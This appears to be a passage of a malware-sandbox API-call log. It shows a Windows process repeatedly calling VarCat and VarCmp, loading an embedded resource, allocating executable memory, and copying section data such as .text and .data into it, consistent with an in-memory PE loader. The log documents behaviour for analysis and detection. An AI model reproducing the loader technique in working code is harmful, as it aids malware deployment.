pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.697] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8fc, pvarRight=0x18f8ec, pvarResult=0x18f8dc | out: pvarResult=0x18f8dc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8dc, pvarRight=0x18f87c, pvarResult=0x18f8cc | out: pvarResult=0x18f8cc) returned 0x0 [0048.698] VarCat (in: pvarLeft=0x18f8cc, pvarRight=0x18f8ac, pvarResult=0x18f89c | out: pvarResult=0x18f89c) returned 0x0 [0048.757] VarCmp (pvarLeft=0x18f62c, pvarRight=0x18f7bc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.757] VarCmp (pvarLeft=0x18f62c, pvarRight=0x18f7bc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.757] VarCmp (pvarLeft=0x18f62c, pvarRight=0x18f7bc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.757] VarCmp (pvarLeft=0x18f62c, pvarRight=0x18f7bc, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.758] lstrcpynW (in: lpString1=0x18f65c, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.758] RtlMoveMemory (in: Destination=0x18f65c, Source=0x67e250, Length=0x40 | out: Destination=0x18f65c) [0048.758] VarSub (in: pvarLeft=0x18f6b0, pvarRight=0x18f62c, pvarResult=0x18f64c | out: pvarResult=0x18f64c) returned 0x0 [0048.758] VarCmp (pvarLeft=0x18f64c, pvarRight=0x18f61c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.758] VarCmp (pvarLeft=0x18f6b0, pvarRight=0x18f62c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.758] VarAdd (in: pvarLeft=0x18f6b0, pvarRight=0x18f62c, pvarResult=0x18f64c | out: pvarResult=0x18f64c) returned 0x0 [0048.758] VarCmp (pvarLeft=0x18f64c, pvarRight=0x18f61c, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.758] lstrcpynW (in: lpString1=0x18f6c0, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.758] RtlMoveMemory (in: Destination=0x18f6c0, Source=0x67e340, Length=0xf8 | out: Destination=0x18f6c0) [0048.758] lstrcpynW (in: lpString1=0x18f81c, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.758] lstrcpynW (in: lpString1=0x18f6c0, lpString2="", iMaxLength=0 | out: lpString1="䕐") returned="䕐" [0048.758] RtlMoveMemory (in: Destination=0x18f81c, Source=0x18f6c0, Length=0xf8 | out: Destination=0x18f81c) [0048.758] VarCmp (pvarLeft=0x18f4e4, pvarRight=0x18f674, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.758] VarCmp (pvarLeft=0x18f4e4, pvarRight=0x18f674, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.758] VarCmp (pvarLeft=0x18f4e4, pvarRight=0x18f674, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.758] VarCmp (pvarLeft=0x18f4e4, pvarRight=0x18f674, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.758] lstrcpynW (in: lpString1=0x18f514, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.758] RtlMoveMemory (in: Destination=0x18f514, Source=0x67e250, Length=0x40 | out: Destination=0x18f514) [0048.758] VarSub (in: pvarLeft=0x18f568, pvarRight=0x18f4e4, pvarResult=0x18f504 | out: pvarResult=0x18f504) returned 0x0 [0048.758] VarCmp (pvarLeft=0x18f504, pvarRight=0x18f4d4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.758] VarCmp (pvarLeft=0x18f568, pvarRight=0x18f4e4, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.758] VarAdd (in: pvarLeft=0x18f568, pvarRight=0x18f4e4, pvarResult=0x18f504 | out: pvarResult=0x18f504) returned 0x0 [0048.758] VarCmp (pvarLeft=0x18f504, pvarRight=0x18f4d4, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.758] lstrcpynW (in: lpString1=0x18f578, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.758] RtlMoveMemory (in: Destination=0x18f578, Source=0x67e340, Length=0xf8 | out: Destination=0x18f578) [0048.758] lstrcpynW (in: lpString1=0x18f6d4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.759] lstrcpynW (in: lpString1=0x18f578, lpString2="", iMaxLength=0 | out: lpString1="䕐") returned="䕐" [0048.759] RtlMoveMemory (in: Destination=0x18f6d4, Source=0x18f578, Length=0xf8 | out: Destination=0x18f6d4) [0048.759] GetUserDefaultLCID () returned 0x409 [0048.759] FindResourceExA (hModule=0x400000, lpType=0x6, lpName=0x7, wLanguage=0x409) returned 0x47e178 [0048.759] LoadResource (hModule=0x400000, hResInfo=0x47e178) returned 0x47e360 [0048.759] LockResource (hResData=0x47e360) returned 0x47e360 [0048.759] GetUserDefaultLCID () returned 0x409 [0048.759] FindResourceExA (hModule=0x400000, lpType=0x6, lpName=0x7, wLanguage=0x409) returned 0x47e178 [0048.759] LoadResource (hModule=0x400000, hResInfo=0x47e178) returned 0x47e360 [0048.759] LockResource (hResData=0x47e360) returned 0x47e360 [0048.759] GetUserDefaultLCID () returned 0x409 [0048.759] VarI4FromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x0, plOut=0x18f694 | out: plOut=0x18f694) returned 0x0 [0048.759] GetUserDefaultLCID () returned 0x409 [0048.759] VarI4FromStr (in: strIn="&H2000", lcid=0x409, dwFlags=0x0, plOut=0x18f690 | out: plOut=0x18f690) returned 0x0 [0048.759] VirtualAlloc (lpAddress=0x400000, dwSize=0xf000, flAllocationType=0x2000, flProtect=0x40) returned 0x0 [0048.760] GetUserDefaultLCID () returned 0x409 [0048.760] FindResourceExA (hModule=0x400000, lpType=0x6, lpName=0x7, wLanguage=0x409) returned 0x47e178 [0048.760] LoadResource (hModule=0x400000, hResInfo=0x47e178) returned 0x47e360 [0048.760] LockResource (hResData=0x47e360) returned 0x47e360 [0048.760] GetUserDefaultLCID () returned 0x409 [0048.760] FindResourceExA (hModule=0x400000, lpType=0x6, lpName=0x7, wLanguage=0x409) returned 0x47e178 [0048.760] LoadResource (hModule=0x400000, hResInfo=0x47e178) returned 0x47e360 [0048.760] LockResource (hResData=0x47e360) returned 0x47e360 [0048.760] GetUserDefaultLCID () returned 0x409 [0048.760] VarI4FromStr (in: strIn="&H40", lcid=0x409, dwFlags=0x0, plOut=0x18f694 | out: plOut=0x18f694) returned 0x0 [0048.760] GetUserDefaultLCID () returned 0x409 [0048.760] VarI4FromStr (in: strIn="&H2000", lcid=0x409, dwFlags=0x0, plOut=0x18f690 | out: plOut=0x18f690) returned 0x0 [0048.760] VirtualAlloc (lpAddress=0x0, dwSize=0xf000, flAllocationType=0x2000, flProtect=0x40) returned 0x2e0000 [0048.760] VarCmp (pvarLeft=0x18f448, pvarRight=0x18f5d8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.760] VarCmp (pvarLeft=0x18f448, pvarRight=0x18f5d8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.761] VarCmp (pvarLeft=0x18f448, pvarRight=0x18f5d8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.761] VarCmp (pvarLeft=0x18f448, pvarRight=0x18f5d8, lcid=0x0, dwFlags=0x30001) returned 0x2 [0048.761] lstrcpynW (in: lpString1=0x18f478, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.761] RtlMoveMemory (in: Destination=0x18f478, Source=0x67e250, Length=0x40 | out: Destination=0x18f478) [0048.761] VarSub (in: pvarLeft=0x18f4cc, pvarRight=0x18f448, pvarResult=0x18f468 | out: pvarResult=0x18f468) returned 0x0 [0048.761] VarCmp (pvarLeft=0x18f468, pvarRight=0x18f438, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.761] VarCmp (pvarLeft=0x18f4cc, pvarRight=0x18f448, lcid=0x0, dwFlags=0x30001) returned 0x0 [0048.761] VarAdd (in: pvarLeft=0x18f4cc, pvarRight=0x18f448, pvarResult=0x18f468 | out: pvarResult=0x18f468) returned 0x0 [0048.761] VarCmp (pvarLeft=0x18f468, pvarRight=0x18f438, lcid=0x0, dwFlags=0x30001) returned 0x1 [0048.761] lstrcpynW (in: lpString1=0x18f4dc, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.761] RtlMoveMemory (in: Destination=0x18f4dc, Source=0x67e340, Length=0xf8 | out: Destination=0x18f4dc) [0048.761] lstrcpynW (in: lpString1=0x18f6d4, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.761] lstrcpynW (in: lpString1=0x18f4dc, lpString2="", iMaxLength=0 | out: lpString1="䕐") returned="䕐" [0048.761] RtlMoveMemory (in: Destination=0x18f6d4, Source=0x18f4dc, Length=0xf8 | out: Destination=0x18f6d4) [0048.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b39c, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0048.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0048.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b374, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.761] GetUserDefaultLCID () returned 0x409 [0048.761] VarI4FromStr (in: strIn="&H1000", lcid=0x409, dwFlags=0x0, plOut=0x18f5f4 | out: plOut=0x18f5f4) returned 0x0 [0048.761] VirtualAlloc (lpAddress=0x2e0000, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x2e0000 [0048.762] RtlMoveMemory (in: Destination=0x2e0000, Source=0x67e250, Length=0x400 | out: Destination=0x2e0000) [0048.762] lstrcpynW (in: lpString1=0x18f69c, lpString2="", iMaxLength=0 | out: lpString1="") returned="" [0048.762] RtlMoveMemory (in: Destination=0x18f69c, Source=0x67e438, Length=0x28 | out: Destination=0x18f69c) [0048.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b39c, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0048.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0048.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b3c4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.762] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b374, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.762] GetUserDefaultLCID () returned 0x409 [0048.762] VarI4FromStr (in: strIn="&H1000", lcid=0x409, dwFlags=0x0, plOut=0x18f5f4 | out: plOut=0x18f5f4) returned 0x0 [0048.762] VirtualAlloc (lpAddress=0x2e1000, dwSize=0x2564, flAllocationType=0x1000, flProtect=0x4) returned 0x2e1000 [0048.763] RtlMoveMemory (in: Destination=0x2e1000, Source=0x67e650, Length=0x2564 | out: Destination=0x2e1000) [0048.763] lstrcpynW (in: lpString1=0x18f69c, lpString2="", iMaxLength=0 | out: lpString1="琮硥t") returned="琮硥t" [0048.763] RtlMoveMemory (in: Destination=0x18f69c, Source=0x67e460, Length=0x28 | out: Destination=0x18f69c) [0048.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b39c, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0048.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b3c4, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0048.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b374, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.763] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.763] GetUserDefaultLCID () returned 0x409 [0048.763] VarI4FromStr (in: strIn="&H1000", lcid=0x409, dwFlags=0x0, plOut=0x18f5f4 | out: plOut=0x18f5f4) returned 0x0 [0048.763] VirtualAlloc (lpAddress=0x2e4000, dwSize=0x28, flAllocationType=0x1000, flProtect=0x4) returned 0x2e4000 [0048.764] lstrcpynW (in: lpString1=0x18f69c, lpString2="", iMaxLength=0 | out: lpString1="獢s") returned="獢s" [0048.764] RtlMoveMemory (in: Destination=0x18f69c, Source=0x67e488, Length=0x28 | out: Destination=0x18f69c) [0048.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b39c, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0048.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b374, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0048.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b3c4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.764] GetUserDefaultLCID () returned 0x409 [0048.764] VarI4FromStr (in: strIn="&H1000", lcid=0x409, dwFlags=0x0, plOut=0x18f5f4 | out: plOut=0x18f5f4) returned 0x0 [0048.764] VirtualAlloc (lpAddress=0x2e5000, dwSize=0x21c0, flAllocationType=0x1000, flProtect=0x4) returned 0x2e5000 [0048.764] RtlMoveMemory (in: Destination=0x2e5000, Source=0x680c50, Length=0x21c0 | out: Destination=0x2e5000) [0048.765] lstrcpynW (in: lpString1=0x18f69c, lpString2="", iMaxLength=0 | out: lpString1="爮慤慴") returned="爮慤慴" [0048.765] RtlMoveMemory (in: Destination=0x18f69c, Source=0x67e4b0, Length=0x28 | out: Destination=0x18f69c) [0048.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b39c, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0048.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0048.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b374, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.765] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b3c4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.765] GetUserDefaultLCID () returned 0x409 [0048.765] VarI4FromStr (in: strIn="&H1000", lcid=0x409, dwFlags=0x0, plOut=0x18f5f4 | out: plOut=0x18f5f4) returned 0x0 [0048.765] VirtualAlloc (lpAddress=0x2e8000, dwSize=0x5bb0, flAllocationType=0x1000, flProtect=0x4) returned 0x2e8000 [0048.765] RtlMoveMemory (in: Destination=0x2e8000, Source=0x682e50, Length=0x5600 | out: Destination=0x2e8000) [0048.766] lstrcpynW (in: lpString1=0x18f69c, lpString2="", iMaxLength=0 | out: lpString1="搮瑡a") returned="搮瑡a" [0048.766] RtlMoveMemory (in: Destination=0x18f69c, Source=0x67e4d8, Length=0x28 | out: Destination=0x18f69c) [0048.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b39c, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0048.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b324, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0048.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b34c, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b3c4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f604, cbMultiByte=1, lpWideCharStr=0x66b374, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.766] GetUserDefaultLCID () returned 0x409 [0048.766] VarI4FromStr (in: strIn="&H1000", lcid=0x409, dwFlags=0x0, plOut=0x18f5f4 | out: plOut=0x18f5f4) returned 0x0 [0048.766] VirtualAlloc (lpAddress=0x2ee000, dwSize=0x3a4, flAllocationType=0x1000, flProtect=0x4) returned 0x2ee000 [0048.766] RtlMoveMemory (in: Destination=0x2ee000, Source=0x688450, Length=0x3a4 | out: Destination=0x2ee000) [0048.766] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x40370000, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.767] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x40370000, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.767] VarUdateFromDate (in: dateIn=0x0, dwFlags=0x40370000, pudateOut=0x0 | out: pudateOut=0x0) returned 0x0 [0048.767] GetLocalTime (in: lpSystemTime=0x18f5ec | out: lpSystemTime=0x18f5ec*(wYear=0x7e4, wMonth=0xb, wDayOfWeek=0x4, wDay=0x13, wHour=0x6, wMinute=0x2e, wSecond=0xb, wMilliseconds=0x34d)) [0048.767] VarDateFromUdate (in: pudateIn=0x18f610, dwFlags=0x0, pdateOut=0x18f5ec | out: pdateOut=0x18f5ec) returned 0x0 